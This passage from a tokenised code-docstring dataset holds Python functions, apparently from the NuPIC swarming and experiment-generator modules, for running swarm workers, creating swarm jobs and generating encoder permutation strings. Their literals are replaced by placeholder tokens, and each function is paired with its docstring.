exit:<EOL><INDENT>break<EOL><DEDENT>self.logger.info(\"<STR_LIT>\",<EOL>modelIDToRun, modelParamsHash.encode('<STR_LIT>'), modelParams)<EOL>persistentJobGUID = jobParams['<STR_LIT>']<EOL>assert persistentJobGUID, \"<STR_LIT>\" % (persistentJobGUID,)<EOL>modelCheckpointGUID = jobInfo.client + \"<STR_LIT:_>\" + persistentJobGUID + (<EOL>'<STR_LIT:_>' + str(modelIDToRun))<EOL>self._hs.runModel(modelID=modelIDToRun, jobID = options.jobID,<EOL>modelParams=modelParams, modelParamsHash=modelParamsHash,<EOL>jobsDAO=cjDAO, modelCheckpointGUID=modelCheckpointGUID)<EOL>numModelsTotal += <NUM_LIT:1><EOL>self.logger.info(\"<STR_LIT>\",<EOL>modelIDToRun, numModelsTotal)<EOL>print(\"<STR_LIT>\" %(numModelsTotal), file=sys.stderr)<EOL>print(\"<STR_LIT>\", file=sys.stderr)<EOL>if options.modelID is not None:<EOL><INDENT>exit = True<EOL><DEDENT><DEDENT><DEDENT>finally:<EOL><INDENT>self._hs.close()<EOL><DEDENT>self.logger.info(\"<STR_LIT>\" % (numModelsTotal))<EOL>print(\"<STR_LIT>\" % (numModelsTotal), file=sys.stderr)<EOL>return options.jobID<EOL>", "docstring": "Run this worker.\n\n        Parameters:\n        ----------------------------------------------------------------------\n        retval:     jobID of the job we ran. This is used by unit test code\n                      when calling this working using the --params command\n                      line option (which tells this worker to insert the job\n                      itself).", "id": "f17599:c0:m2"}
{"signature": "def createAndStartSwarm(client, clientInfo=\"<STR_LIT>\", clientKey=\"<STR_LIT>\", params=\"<STR_LIT>\",<EOL>minimumWorkers=None, maximumWorkers=None,<EOL>alreadyRunning=False):", "body": "if minimumWorkers is None:<EOL><INDENT>minimumWorkers = Configuration.getInt(<EOL>\"<STR_LIT>\")<EOL><DEDENT>if maximumWorkers is None:<EOL><INDENT>maximumWorkers = Configuration.getInt(<EOL>\"<STR_LIT>\")<EOL><DEDENT>return ClientJobsDAO.get().jobInsert(<EOL>client=client,<EOL>cmdLine=\"<STR_LIT>\",<EOL>clientInfo=clientInfo,<EOL>clientKey=clientKey,<EOL>alreadyRunning=alreadyRunning,<EOL>params=params,<EOL>minimumWorkers=minimumWorkers,<EOL>maximumWorkers=maximumWorkers,<EOL>jobType=ClientJobsDAO.JOB_TYPE_HS)<EOL>", "docstring": "Create and start a swarm job.\n\n    Args:\n      client - A string identifying the calling client. There is a small limit\n          for the length of the value. See ClientJobsDAO.CLIENT_MAX_LEN.\n      clientInfo - JSON encoded dict of client specific information.\n      clientKey - Foreign key. Limited in length, see ClientJobsDAO._initTables.\n      params - JSON encoded dict of the parameters for the job. This can be\n          fetched out of the database by the worker processes based on the jobID.\n      minimumWorkers - The minimum workers to allocate to the swarm. Set to None\n          to use the default.\n      maximumWorkers - The maximum workers to allocate to the swarm. Set to None\n          to use the swarm default. Set to 0 to use the maximum scheduler value.\n      alreadyRunning - Insert a job record for an already running process. Used\n          for testing.", "id": "f17600:m0"}
{"signature": "def getSwarmModelParams(modelID):", "body": "<EOL>cjDAO = ClientJobsDAO.get()<EOL>(jobID, description) = cjDAO.modelsGetFields(<EOL>modelID,<EOL>[\"<STR_LIT>\", \"<STR_LIT>\"])<EOL>(baseDescription,) = cjDAO.jobGetFields(jobID, [\"<STR_LIT>\"])<EOL>descriptionDirectory = tempfile.mkdtemp()<EOL>try:<EOL><INDENT>baseDescriptionFilePath = os.path.join(descriptionDirectory, \"<STR_LIT>\")<EOL>with open(baseDescriptionFilePath, mode=\"<STR_LIT:wb>\") as f:<EOL><INDENT>f.write(baseDescription)<EOL><DEDENT>descriptionFilePath = os.path.join(descriptionDirectory, \"<STR_LIT>\")<EOL>with open(descriptionFilePath, mode=\"<STR_LIT:wb>\") as f:<EOL><INDENT>f.write(description)<EOL><DEDENT>expIface = helpers.getExperimentDescriptionInterfaceFromModule(<EOL>helpers.loadExperimentDescriptionScriptFromDir(descriptionDirectory))<EOL>return json.dumps(<EOL>dict(<EOL>modelConfig=expIface.getModelDescription(),<EOL>inferenceArgs=expIface.getModelControl().get(\"<STR_LIT>\", None)))<EOL><DEDENT>finally:<EOL><INDENT>shutil.rmtree(descriptionDirectory, ignore_errors=True)<EOL><DEDENT>", "docstring": "Retrieve the Engine-level model params from a Swarm model\n\n    Args:\n      modelID - Engine-level model ID of the Swarm model\n\n    Returns:\n      JSON-encoded string containing Model Params", "id": "f17600:m1"}
{"signature": "def _makeUsageErrorStr(errorString, usageString):", "body": "return \"<STR_LIT>\" % (errorString, usageString)<EOL>", "docstring": "Combines an error string and usage string into a regular format, so they\n    all look consistent.", "id": "f17601:m0"}
{"signature": "def _handleShowSchemaOption():", "body": "print(\"<STR_LIT>\")<EOL>print((json.dumps(_getExperimentDescriptionSchema(), indent=_INDENT_STEP*<NUM_LIT:2>)))<EOL>print(\"<STR_LIT>\")<EOL>return<EOL>", "docstring": "Displays command schema to stdout and exit program", "id": "f17601:m1"}
{"signature": "def _handleDescriptionOption(cmdArgStr, outDir, usageStr, hsVersion,<EOL>claDescriptionTemplateFile):", "body": "<EOL>try:<EOL><INDENT>args = json.loads(cmdArgStr)<EOL><DEDENT>except Exception as e:<EOL><INDENT>raise _InvalidCommandArgException(<EOL>_makeUsageErrorStr(<EOL>(\"<STR_LIT>\" +\"<STR_LIT>\") % (str(e), cmdArgStr), usageStr))<EOL><DEDENT>filesDescription = _generateExperiment(args, outDir, hsVersion=hsVersion,<EOL>claDescriptionTemplateFile = claDescriptionTemplateFile)<EOL>pprint.pprint(filesDescription)<EOL>return<EOL>", "docstring": "Parses and validates the --description option args and executes the\nrequest\n\nParameters:\n-----------------------------------------------------------------------\ncmdArgStr:  JSON string compatible with _gExperimentDescriptionSchema\noutDir:     where to place generated experiment files\nusageStr:   program usage string\nhsVersion:  which version of hypersearch permutations file to generate, can\n              be 'v1' or 'v2'\nclaDescriptionTemplateFile: Filename containing the template description\nretval:     nothing", "id": "f17601:m2"}
{"signature": "def _handleDescriptionFromFileOption(filename, outDir, usageStr, hsVersion,<EOL>claDescriptionTemplateFile):", "body": "try:<EOL><INDENT>fileHandle = open(filename, '<STR_LIT:r>')<EOL>JSONStringFromFile = fileHandle.read().splitlines()<EOL>JSONStringFromFile = '<STR_LIT>'.join(JSONStringFromFile)<EOL><DEDENT>except Exception as e:<EOL><INDENT>raise _InvalidCommandArgException(<EOL>_makeUsageErrorStr(<EOL>(\"<STR_LIT>\" +\"<STR_LIT>\") % (str(e), filename), usageStr))<EOL><DEDENT>_handleDescriptionOption(JSONStringFromFile, outDir, usageStr,<EOL>hsVersion=hsVersion,<EOL>claDescriptionTemplateFile = claDescriptionTemplateFile)<EOL>return<EOL>", "docstring": "Parses and validates the --descriptionFromFile option and executes the\nrequest\n\nParameters:\n-----------------------------------------------------------------------\nfilename:   File from which we'll extract description JSON\noutDir:     where to place generated experiment files\nusageStr:   program usage string\nhsVersion:  which version of hypersearch permutations file to generate, can\n              be 'v1' or 'v2'\nclaDescriptionTemplateFile: Filename containing the template description\nretval:     nothing", "id": "f17601:m3"}
{"signature": "def _isInt(x, precision = <NUM_LIT>):", "body": "xInt = int(round(x))<EOL>return (abs(x - xInt) < precision * x, xInt)<EOL>", "docstring": "Return (isInt, intValue) for a given floating point number.\n\nParameters:\n----------------------------------------------------------------------\nx:  floating point number to evaluate\nprecision: desired precision\nretval:   (isInt, intValue)\n          isInt: True if x is close enough to an integer value\n          intValue: x as an integer", "id": "f17601:m4"}
{"signature": "def _isString(obj):", "body": "return type(obj) in (str,)<EOL>", "docstring": "returns whether or not the object is a string", "id": "f17601:m5"}
{"signature": "def _quoteAndEscape(string):", "body": "assert _isString(string)<EOL>return pprint.pformat(string)<EOL>", "docstring": "string:   input string (ascii or unicode)\n\nReturns:  a quoted string with characters that are represented in python via\n          escape sequences converted to those escape sequences", "id": "f17601:m6"}
{"signature": "def _indentLines(str, indentLevels = <NUM_LIT:1>, indentFirstLine=True):", "body": "indent = _ONE_INDENT * indentLevels<EOL>lines = str.splitlines(True)<EOL>result = '<STR_LIT>'<EOL>if len(lines) > <NUM_LIT:0> and not indentFirstLine:<EOL><INDENT>first = <NUM_LIT:1><EOL>result += lines[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>first = <NUM_LIT:0><EOL><DEDENT>for line in lines[first:]:<EOL><INDENT>result += indent + line<EOL><DEDENT>return result<EOL>", "docstring": "Indent all lines in the given string\n\n    str:          input string\n    indentLevels: number of levels of indentation to apply\n    indentFirstLine: if False, the 1st line will not be indented\n\n    Returns:      The result string with all lines indented", "id": "f17601:m7"}
{"signature": "def _isCategory(fieldType):", "body": "if fieldType == '<STR_LIT:string>':<EOL><INDENT>return True<EOL><DEDENT>if fieldType == '<STR_LIT:int>' or fieldType=='<STR_LIT:float>':<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Prediction function for determining whether a function is a categorical\n        variable or a scalar variable.  Mainly used for determining the appropriate\n        metrics.", "id": "f17601:m8"}
{"signature": "def _generateMetricSpecString(inferenceElement, metric,<EOL>params=None, field=None,<EOL>returnLabel=False):", "body": "metricSpecArgs = dict(metric=metric,<EOL>field=field,<EOL>params=params,<EOL>inferenceElement=inferenceElement)<EOL>metricSpecAsString = \"<STR_LIT>\" %'<STR_LIT:U+002CU+0020>'.join(['<STR_LIT>' % (item[<NUM_LIT:0>],item[<NUM_LIT:1>])<EOL>for item in metricSpecArgs.items()])<EOL>if not returnLabel:<EOL><INDENT>return metricSpecAsString<EOL><DEDENT>spec = MetricSpec(**metricSpecArgs)<EOL>metricLabel = spec.getLabel()<EOL>return metricSpecAsString, metricLabel<EOL>", "docstring": "Generates the string representation of a MetricSpec object, and returns\n    the metric key associated with the metric.\n\n\n    Parameters:\n    -----------------------------------------------------------------------\n    inferenceElement:\n      An InferenceElement value that indicates which part of the inference this\n      metric is computed on\n\n    metric:\n      The type of the metric being computed (e.g. aae, avg_error)\n\n    params:\n      A dictionary of parameters for the metric. The keys are the parameter names\n      and the values should be the parameter values (e.g. window=200)\n\n    field:\n      The name of the field for which this metric is being computed\n\n    returnLabel:\n      If True, returns the label of the MetricSpec that was generated", "id": "f17601:m9"}
{"signature": "def _generateFileFromTemplates(templateFileNames, outputFilePath,<EOL>replacementDict):", "body": "<EOL>installPath = os.path.dirname(__file__)<EOL>outputFile = open(outputFilePath, \"<STR_LIT:w>\")<EOL>outputLines = []<EOL>inputLines = []<EOL>firstFile = True<EOL>for templateFileName in templateFileNames:<EOL><INDENT>if not firstFile:<EOL><INDENT>inputLines.extend([os.linesep]*<NUM_LIT:2>)<EOL><DEDENT>firstFile = False<EOL>inputFilePath = os.path.join(installPath, templateFileName)<EOL>inputFile = open(inputFilePath)<EOL>inputLines.extend(inputFile.readlines())<EOL>inputFile.close()<EOL><DEDENT>print(\"<STR_LIT>\", len(inputLines), \"<STR_LIT>\")<EOL>for line in inputLines:<EOL><INDENT>tempLine = line<EOL>for k, v in replacementDict.items():<EOL><INDENT>if v is None:<EOL><INDENT>v = \"<STR_LIT:None>\"<EOL><DEDENT>tempLine = re.sub(k, v, tempLine)<EOL><DEDENT>outputFile.write(tempLine)<EOL><DEDENT>outputFile.close()<EOL>", "docstring": "Generates a file by applying token replacements to the given template\n    file\n\n    templateFileName:\n                    A list of template file names; these files are assumed to be in\n                    the same directory as the running experiment_generator.py script.\n                    ExpGenerator will perform the substitution and concanetate\n                    the files in the order they are specified\n\n    outputFilePath: Absolute path of the output file\n\n    replacementDict:\n                    A dictionary of token/replacement pairs", "id": "f17601:m10"}
{"signature": "def _generateEncoderChoicesV1(fieldInfo):", "body": "width = <NUM_LIT:7><EOL>fieldName = fieldInfo['<STR_LIT>']<EOL>fieldType = fieldInfo['<STR_LIT>']<EOL>encoderChoicesList = []<EOL>if fieldType in ['<STR_LIT:float>', '<STR_LIT:int>']:<EOL><INDENT>aggFunction = '<STR_LIT>'<EOL>encoders = [None]<EOL>for n in (<NUM_LIT>, <NUM_LIT:50>, <NUM_LIT>, <NUM_LIT>):<EOL><INDENT>encoder = dict(type='<STR_LIT>', name=fieldName, fieldname=fieldName,<EOL>n=n, w=width, clipInput=True,space=\"<STR_LIT>\")<EOL>if '<STR_LIT>' in fieldInfo:<EOL><INDENT>encoder['<STR_LIT>'] = fieldInfo['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT>' in fieldInfo:<EOL><INDENT>encoder['<STR_LIT>'] = fieldInfo['<STR_LIT>']<EOL><DEDENT>encoders.append(encoder)<EOL><DEDENT>encoderChoicesList.append(encoders)<EOL><DEDENT>elif fieldType == '<STR_LIT:string>':<EOL><INDENT>aggFunction = '<STR_LIT>'<EOL>encoders = [None]<EOL>encoder = dict(type='<STR_LIT>', name=fieldName,<EOL>fieldname=fieldName, n=<NUM_LIT:100>, w=width)<EOL>encoders.append(encoder)<EOL>encoderChoicesList.append(encoders)<EOL><DEDENT>elif fieldType == '<STR_LIT>':<EOL><INDENT>aggFunction = '<STR_LIT>'<EOL>encoders = [None]<EOL>for radius in (<NUM_LIT:1>, <NUM_LIT:8>):<EOL><INDENT>encoder = dict(type='<STR_LIT>', name='<STR_LIT>' % (fieldName),<EOL>fieldname=fieldName, timeOfDay=(width, radius))<EOL>encoders.append(encoder)<EOL><DEDENT>encoderChoicesList.append(encoders)<EOL>encoders = [None]<EOL>for radius in (<NUM_LIT:1>, <NUM_LIT:3>):<EOL><INDENT>encoder = dict(type='<STR_LIT>', name='<STR_LIT>' % (fieldName),<EOL>fieldname=fieldName, dayOfWeek=(width, radius))<EOL>encoders.append(encoder)<EOL><DEDENT>encoderChoicesList.append(encoders)<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\" % (fieldType))<EOL><DEDENT>return (encoderChoicesList, aggFunction)<EOL>", "docstring": "Return a list of possible encoder parameter combinations for the given\n    field and the default aggregation function to use. Each parameter combination\n    is a dict defining the parameters for the encoder. Here is an example\n    return value for the encoderChoicesList:\n\n     [\n       None,\n       {'fieldname':'timestamp',\n        'name': 'timestamp_timeOfDay',\n        'type':'DateEncoder'\n        'dayOfWeek': (7,1)\n        },\n       {'fieldname':'timestamp',\n        'name': 'timestamp_timeOfDay',\n        'type':'DateEncoder'\n        'dayOfWeek': (7,3)\n        },\n    ],\n\n    Parameters:\n    --------------------------------------------------\n    fieldInfo:      item from the 'includedFields' section of the\n                      description JSON object\n\n    retval:  (encoderChoicesList, aggFunction)\n               encoderChoicesList: a list of encoder choice lists for this field.\n                 Most fields will generate just 1 encoder choice list.\n                 DateTime fields can generate 2 or more encoder choice lists,\n                   one for dayOfWeek, one for timeOfDay, etc.\n               aggFunction: name of aggregation function to use for this\n                             field type", "id": "f17601:m11"}
{"signature": "def _generateEncoderStringsV1(includedFields):", "body": "<EOL>encoderChoicesList = []<EOL>for fieldInfo in includedFields:<EOL><INDENT>fieldName = fieldInfo['<STR_LIT>']<EOL>(choicesList, aggFunction) = _generateEncoderChoicesV1(fieldInfo)<EOL>encoderChoicesList.extend(choicesList)<EOL><DEDENT>encoderSpecsList = []<EOL>for encoderChoices in encoderChoicesList:<EOL><INDENT>encoder = encoderChoices[-<NUM_LIT:1>]<EOL>for c in _ILLEGAL_FIELDNAME_CHARACTERS:<EOL><INDENT>if encoder['<STR_LIT:name>'].find(c) >= <NUM_LIT:0>:<EOL><INDENT>raise _ExpGeneratorException(\"<STR_LIT>\" % (<EOL>c, encoder['<STR_LIT:name>']))<EOL><DEDENT><DEDENT>encoderSpecsList.append(\"<STR_LIT>\" % (<EOL>_quoteAndEscape(encoder['<STR_LIT:name>']),<EOL><NUM_LIT:2>*_ONE_INDENT,<EOL>pprint.pformat(encoder, indent=<NUM_LIT:2>*_INDENT_STEP)))<EOL><DEDENT>encoderSpecsStr = '<STR_LIT>'.join(encoderSpecsList)<EOL>permEncoderChoicesList = []<EOL>for encoderChoices in encoderChoicesList:<EOL><INDENT>permEncoderChoicesList.append(\"<STR_LIT>\" % (<EOL>_quoteAndEscape(encoderChoices[-<NUM_LIT:1>]['<STR_LIT:name>']),<EOL>pprint.pformat(encoderChoices, indent=<NUM_LIT:2>*_INDENT_STEP)))<EOL><DEDENT>permEncoderChoicesStr = '<STR_LIT:\\n>'.join(permEncoderChoicesList)<EOL>permEncoderChoicesStr = _indentLines(permEncoderChoicesStr, <NUM_LIT:1>,<EOL>indentFirstLine=False)<EOL>return (encoderSpecsStr, permEncoderChoicesStr)<EOL>", "docstring": "Generate and return the following encoder related substitution variables:\n\n    encoderSpecsStr:\n      For the base description file, this string defines the default\n      encoding dicts for each encoder. For example:\n           '__gym_encoder' : {   'fieldname': 'gym',\n            'n': 13,\n            'name': 'gym',\n            'type': 'SDRCategoryEncoder',\n            'w': 7},\n          '__address_encoder' : {   'fieldname': 'address',\n            'n': 13,\n            'name': 'address',\n            'type': 'SDRCategoryEncoder',\n            'w': 7}\n\n    encoderSchemaStr:\n      For the base description file, this is a list containing a\n      DeferredDictLookup entry for each encoder. For example:\n          [DeferredDictLookup('__gym_encoder'),\n           DeferredDictLookup('__address_encoder'),\n           DeferredDictLookup('__timestamp_timeOfDay_encoder'),\n           DeferredDictLookup('__timestamp_dayOfWeek_encoder'),\n           DeferredDictLookup('__consumption_encoder')],\n\n    permEncoderChoicesStr:\n      For the permutations file, this defines the possible\n      encoder dicts for each encoder. For example:\n          '__timestamp_dayOfWeek_encoder': [\n                       None,\n                       {'fieldname':'timestamp',\n                        'name': 'timestamp_timeOfDay',\n                        'type':'DateEncoder'\n                        'dayOfWeek': (7,1)\n                        },\n                       {'fieldname':'timestamp',\n                        'name': 'timestamp_timeOfDay',\n                        'type':'DateEncoder'\n                        'dayOfWeek': (7,3)\n                        },\n                    ],\n\n          '__field_consumption_encoder': [\n                      None,\n                      {'fieldname':'consumption',\n                       'name': 'consumption',\n                       'type':'AdaptiveScalarEncoder',\n                       'n': 13,\n                       'w': 7,\n                        }\n                     ]\n\n\n\n    Parameters:\n    --------------------------------------------------\n    includedFields:  item from the 'includedFields' section of the\n                      description JSON object. This is a list of dicts, each\n                      dict defining the field name, type, and optional min\n                      and max values.\n\n    retval:  (encoderSpecsStr, encoderSchemaStr permEncoderChoicesStr)", "id": "f17601:m12"}
{"signature": "def _generatePermEncoderStr(options, encoderDict):", "body": "permStr = \"<STR_LIT>\"<EOL>if encoderDict.get('<STR_LIT>', False):<EOL><INDENT>permStr = \"<STR_LIT>\"<EOL>for key, value in list(encoderDict.items()):<EOL><INDENT>if key == \"<STR_LIT:name>\":<EOL><INDENT>continue<EOL><DEDENT>if key == '<STR_LIT:n>' and encoderDict['<STR_LIT:type>'] != '<STR_LIT>':<EOL><INDENT>permStr += \"<STR_LIT>\" % (encoderDict[\"<STR_LIT:w>\"] + <NUM_LIT:7>,<EOL>encoderDict[\"<STR_LIT:w>\"] + <NUM_LIT>)<EOL><DEDENT>else:<EOL><INDENT>if issubclass(type(value), str):<EOL><INDENT>permStr += \"<STR_LIT>\" % (key, value)<EOL><DEDENT>else:<EOL><INDENT>permStr += \"<STR_LIT>\" % (key, value)<EOL><DEDENT><DEDENT><DEDENT>permStr += \"<STR_LIT:)>\"<EOL><DEDENT>else:<EOL><INDENT>if encoderDict[\"<STR_LIT:type>\"] in [\"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>permStr = \"<STR_LIT>\"<EOL>for key, value in list(encoderDict.items()):<EOL><INDENT>if key == \"<STR_LIT>\":<EOL><INDENT>key = \"<STR_LIT>\"<EOL><DEDENT>elif key == \"<STR_LIT:type>\":<EOL><INDENT>key = \"<STR_LIT>\"<EOL><DEDENT>elif key == \"<STR_LIT:name>\":<EOL><INDENT>continue<EOL><DEDENT>if key == \"<STR_LIT:n>\":<EOL><INDENT>permStr += \"<STR_LIT>\" % (encoderDict[\"<STR_LIT:w>\"] + <NUM_LIT:1>,<EOL>encoderDict[\"<STR_LIT:w>\"] + <NUM_LIT>)<EOL><DEDENT>elif key == \"<STR_LIT>\":<EOL><INDENT>if value and not \"<STR_LIT>\" in encoderDict:<EOL><INDENT>permStr += \"<STR_LIT>\"% (_quoteAndEscape(\"<STR_LIT>\"), _quoteAndEscape(\"<STR_LIT>\"))<EOL><DEDENT>encoderDict.pop(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>if issubclass(type(value), str):<EOL><INDENT>permStr += \"<STR_LIT>\" % (key, value)<EOL><DEDENT>else:<EOL><INDENT>permStr += \"<STR_LIT>\" % (key, value)<EOL><DEDENT><DEDENT><DEDENT>permStr += \"<STR_LIT:)>\"<EOL><DEDENT>elif encoderDict[\"<STR_LIT:type>\"] in [\"<STR_LIT>\"]:<EOL><INDENT>permStr = \"<STR_LIT>\"<EOL>for key, value in list(encoderDict.items()):<EOL><INDENT>if key == \"<STR_LIT>\":<EOL><INDENT>key = \"<STR_LIT>\"<EOL><DEDENT>elif key == \"<STR_LIT:type>\":<EOL><INDENT>key = \"<STR_LIT>\"<EOL><DEDENT>elif key == \"<STR_LIT:name>\":<EOL><INDENT>continue<EOL><DEDENT>if issubclass(type(value), str):<EOL><INDENT>permStr += \"<STR_LIT>\" % (key, value)<EOL><DEDENT>else:<EOL><INDENT>permStr += \"<STR_LIT>\" % (key, value)<EOL><DEDENT><DEDENT>permStr += \"<STR_LIT:)>\"<EOL><DEDENT>elif encoderDict[\"<STR_LIT:type>\"] in [\"<STR_LIT>\"]:<EOL><INDENT>permStr = \"<STR_LIT>\"<EOL>for key, value in list(encoderDict.items()):<EOL><INDENT>if key == \"<STR_LIT>\":<EOL><INDENT>key = \"<STR_LIT>\"<EOL><DEDENT>elif key == \"<STR_LIT:type>\":<EOL><INDENT>continue<EOL><DEDENT>elif key == \"<STR_LIT:name>\":<EOL><INDENT>continue<EOL><DEDENT>if key == \"<STR_LIT>\":<EOL><INDENT>permStr += \"<STR_LIT>\" % (encoderDict[\"<STR_LIT:type>\"])<EOL>permStr += \"<STR_LIT>\"<EOL>permStr += \"<STR_LIT>\" % (value[<NUM_LIT:0>])<EOL><DEDENT>elif key == \"<STR_LIT>\":<EOL><INDENT>permStr += \"<STR_LIT>\" % (encoderDict[\"<STR_LIT:type>\"])<EOL>permStr += \"<STR_LIT>\"<EOL>permStr += \"<STR_LIT>\" % (value[<NUM_LIT:0>])<EOL><DEDENT>elif key == \"<STR_LIT>\":<EOL><INDENT>permStr += \"<STR_LIT>\" % (encoderDict[\"<STR_LIT:type>\"])<EOL>permStr += \"<STR_LIT>\"<EOL>permStr += \"<STR_LIT>\" % (value)<EOL><DEDENT>else:<EOL><INDENT>if issubclass(type(value), str):<EOL><INDENT>permStr += \"<STR_LIT>\" % (key, value)<EOL><DEDENT>else:<EOL><INDENT>permStr += \"<STR_LIT>\" % (key, value)<EOL><DEDENT><DEDENT><DEDENT>permStr += \"<STR_LIT:)>\"<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\" %(encoderDict[\"<STR_LIT:type>\"]))<EOL><DEDENT><DEDENT>return permStr<EOL>", "docstring": "Generate the string that defines the permutations to apply for a given\n    encoder.\n\n    Parameters:\n    -----------------------------------------------------------------------\n    options: experiment params\n    encoderDict: the encoder dict, which gets placed into the description.py\n\n\n    For example, if the encoderDict contains:\n        'consumption':     {\n                  'clipInput': True,\n                  'fieldname': u'consumption',\n                  'n': 100,\n                  'name': u'consumption',\n                  'type': 'AdaptiveScalarEncoder',\n                  'w': 21},\n\n    The return string will contain:\n      \"PermuteEncoder(fieldName='consumption',\n                      encoderClass='AdaptiveScalarEncoder',\n                      w=21,\n                      n=PermuteInt(28, 521),\n                      clipInput=True)\"", "id": "f17601:m13"}
{"signature": "def _generateEncoderStringsV2(includedFields, options):", "body": "width = <NUM_LIT><EOL>encoderDictsList = []<EOL>if options['<STR_LIT>'] in [\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\"]:<EOL><INDENT>classifierOnlyField = options['<STR_LIT>']['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>classifierOnlyField = None<EOL><DEDENT>for fieldInfo in includedFields:<EOL><INDENT>fieldName = fieldInfo['<STR_LIT>']<EOL>fieldType = fieldInfo['<STR_LIT>']<EOL>if fieldType in ['<STR_LIT:float>', '<STR_LIT:int>']:<EOL><INDENT>runDelta = fieldInfo.get(\"<STR_LIT>\", False)<EOL>if runDelta or \"<STR_LIT>\" in fieldInfo:<EOL><INDENT>encoderDict = dict(type='<STR_LIT>', name=fieldName,<EOL>fieldname=fieldName, n=<NUM_LIT:100>, w=width, clipInput=True)<EOL>if runDelta:<EOL><INDENT>encoderDict[\"<STR_LIT>\"] = True<EOL><DEDENT><DEDENT>else:<EOL><INDENT>encoderDict = dict(type='<STR_LIT>', name=fieldName,<EOL>fieldname=fieldName, n=<NUM_LIT:100>, w=width, clipInput=True)<EOL><DEDENT>if '<STR_LIT>' in fieldInfo:<EOL><INDENT>encoderDict['<STR_LIT>'] = fieldInfo['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT>' in fieldInfo:<EOL><INDENT>encoderDict['<STR_LIT>'] = fieldInfo['<STR_LIT>']<EOL><DEDENT>if ('<STR_LIT>' in fieldInfo and '<STR_LIT>' in fieldInfo)and (encoderDict['<STR_LIT:type>'] == '<STR_LIT>'):<EOL><INDENT>encoderDict['<STR_LIT:type>'] = '<STR_LIT>'<EOL><DEDENT>if '<STR_LIT>' in fieldInfo:<EOL><INDENT>encoderDict['<STR_LIT:type>'] = fieldInfo['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT>' in fieldInfo:<EOL><INDENT>encoderDict['<STR_LIT>'] = fieldInfo['<STR_LIT>']<EOL><DEDENT>encoderDictsList.append(encoderDict)<EOL><DEDENT>elif fieldType == '<STR_LIT:string>':<EOL><INDENT>encoderDict = dict(type='<STR_LIT>', name=fieldName,<EOL>fieldname=fieldName, n=<NUM_LIT:100>+width, w=width)<EOL>if '<STR_LIT>' in fieldInfo:<EOL><INDENT>encoderDict['<STR_LIT:type>'] = fieldInfo['<STR_LIT>']<EOL><DEDENT>encoderDictsList.append(encoderDict)<EOL><DEDENT>elif fieldType == '<STR_LIT>':<EOL><INDENT>encoderDict = dict(type='<STR_LIT>', name='<STR_LIT>' % (fieldName),<EOL>fieldname=fieldName, timeOfDay=(width, <NUM_LIT:1>))<EOL>if '<STR_LIT>' in fieldInfo:<EOL><INDENT>encoderDict['<STR_LIT:type>'] = fieldInfo['<STR_LIT>']<EOL><DEDENT>encoderDictsList.append(encoderDict)<EOL>encoderDict = dict(type='<STR_LIT>', name='<STR_LIT>' % (fieldName),<EOL>fieldname=fieldName, dayOfWeek=(width, <NUM_LIT:1>))<EOL>if '<STR_LIT>' in fieldInfo:<EOL><INDENT>encoderDict['<STR_LIT:type>'] = fieldInfo['<STR_LIT>']<EOL><DEDENT>encoderDictsList.append(encoderDict)<EOL>encoderDict = dict(type='<STR_LIT>', name='<STR_LIT>' % (fieldName),<EOL>fieldname=fieldName, weekend=(width))<EOL>if '<STR_LIT>' in fieldInfo:<EOL><INDENT>encoderDict['<STR_LIT:type>'] = fieldInfo['<STR_LIT>']<EOL><DEDENT>encoderDictsList.append(encoderDict)<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\" % (fieldType))<EOL><DEDENT>if fieldName == classifierOnlyField:<EOL><INDENT>clEncoderDict = dict(encoderDict)<EOL>clEncoderDict['<STR_LIT>'] = True<EOL>clEncoderDict['<STR_LIT:name>'] = '<STR_LIT>'<EOL>encoderDictsList.append(clEncoderDict)<EOL>if options[\"<STR_LIT>\"][\"<STR_LIT>\"] == \"<STR_LIT>\":<EOL><INDENT>encoderDictsList.remove(encoderDict)<EOL><DEDENT><DEDENT><DEDENT>if options.get('<STR_LIT>') is not None:<EOL><INDENT>tempList=[]<EOL>for encoderDict in encoderDictsList:<EOL><INDENT>if encoderDict['<STR_LIT:name>'] in options['<STR_LIT>']:<EOL><INDENT>tempList.append(encoderDict)<EOL><DEDENT><DEDENT>encoderDictsList = tempList<EOL><DEDENT>encoderSpecsList = []<EOL>permEncoderChoicesList = []<EOL>for encoderDict in encoderDictsList:<EOL><INDENT>if encoderDict['<STR_LIT:name>'].find('<STR_LIT:\\\\>') >= <NUM_LIT:0>:<EOL><INDENT>raise _ExpGeneratorException(\"<STR_LIT>\")<EOL><DEDENT>for c in _ILLEGAL_FIELDNAME_CHARACTERS:<EOL><INDENT>if encoderDict['<STR_LIT:name>'].find(c) >= <NUM_LIT:0>:<EOL><INDENT>raise _ExpGeneratorException(\"<STR_LIT>\"  %(c, encoderDict['<STR_LIT:name>']))<EOL><DEDENT><DEDENT>constructorStr = _generatePermEncoderStr(options, encoderDict)<EOL>encoderKey = _quoteAndEscape(encoderDict['<STR_LIT:name>'])<EOL>encoderSpecsList.append(\"<STR_LIT>\" % (<EOL>encoderKey,<EOL><NUM_LIT:2>*_ONE_INDENT,<EOL>pprint.pformat(encoderDict, indent=<NUM_LIT:2>*_INDENT_STEP)))<EOL>permEncoderChoicesList.append(\"<STR_LIT>\" % (encoderKey, constructorStr))<EOL><DEDENT>encoderSpecsStr = '<STR_LIT>'.join(encoderSpecsList)<EOL>permEncoderChoicesStr = '<STR_LIT:\\n>'.join(permEncoderChoicesList)<EOL>permEncoderChoicesStr = _indentLines(permEncoderChoicesStr, <NUM_LIT:1>,<EOL>indentFirstLine=True)<EOL>return (encoderSpecsStr, permEncoderChoicesStr)<EOL>", "docstring": "Generate and return the following encoder related substitution variables:\n\n    encoderSpecsStr:\n      For the base description file, this string defines the default\n      encoding dicts for each encoder. For example:\n\n           __gym_encoder = 